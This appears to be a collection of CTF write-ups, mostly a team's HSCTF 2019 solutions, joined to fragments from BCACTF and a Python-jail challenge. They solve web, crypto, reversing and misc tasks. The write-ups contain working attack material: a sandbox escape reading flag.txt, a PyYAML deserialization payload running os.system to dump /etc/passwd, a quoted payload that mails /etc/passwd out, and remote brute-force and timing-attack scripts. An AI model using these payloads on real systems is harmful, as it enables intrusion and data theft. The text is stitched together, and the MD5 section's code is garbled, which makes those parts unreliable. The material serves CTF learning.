Some problems in this CTF will require you to use netcat to access server-side problems.
For this problem netcat in to our server by using
nc challenges.ctfd.io 30126
## Solution
Connect to the server on the port using netcat.
```$ nc challenges.ctfd.io 30126bcactf{5urf1n_7h3_n37c47_c2VydmVyc2lkZQ}``` |
# Dig-dug
| Event | Title | Category | Cost ||:------|:----------|:---------|-------:|| BCACTF | dig-dug | WEB | 100 |
### Discription>I found this super sketchy website called hole.sketchy.dev. Can you help me dig up some of its secrets?>>Oh, and someone told me that the secrets are TXT. I don't know what this means, so good luck!>>https://hole.sketchy.dev/
### Solution
Using tips on the Linux `dig` command, we get nothing.

A little googling the arguments of the command dig we found what we need.

##### Flag
```bcactf{d1g-f0r-h073s-w/-dns-8044323}``` |
Retrieve __builtins__:```__builtins__ = [t for t in ().__class__.__bases__[0].__subclasses__() if 'warning' in t.__name__][0]()._module.__builtins__```
Now we can use the open function to read the flag:```__builtins__['print']('H4H4 PWNED BY TOMER!')return __builtins__['open']('flag.txt', 'r').read()```
And there it is:```H4H4 PWNED BY TOMER!hsctf{discord_bot_pyjail_owo}``` |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
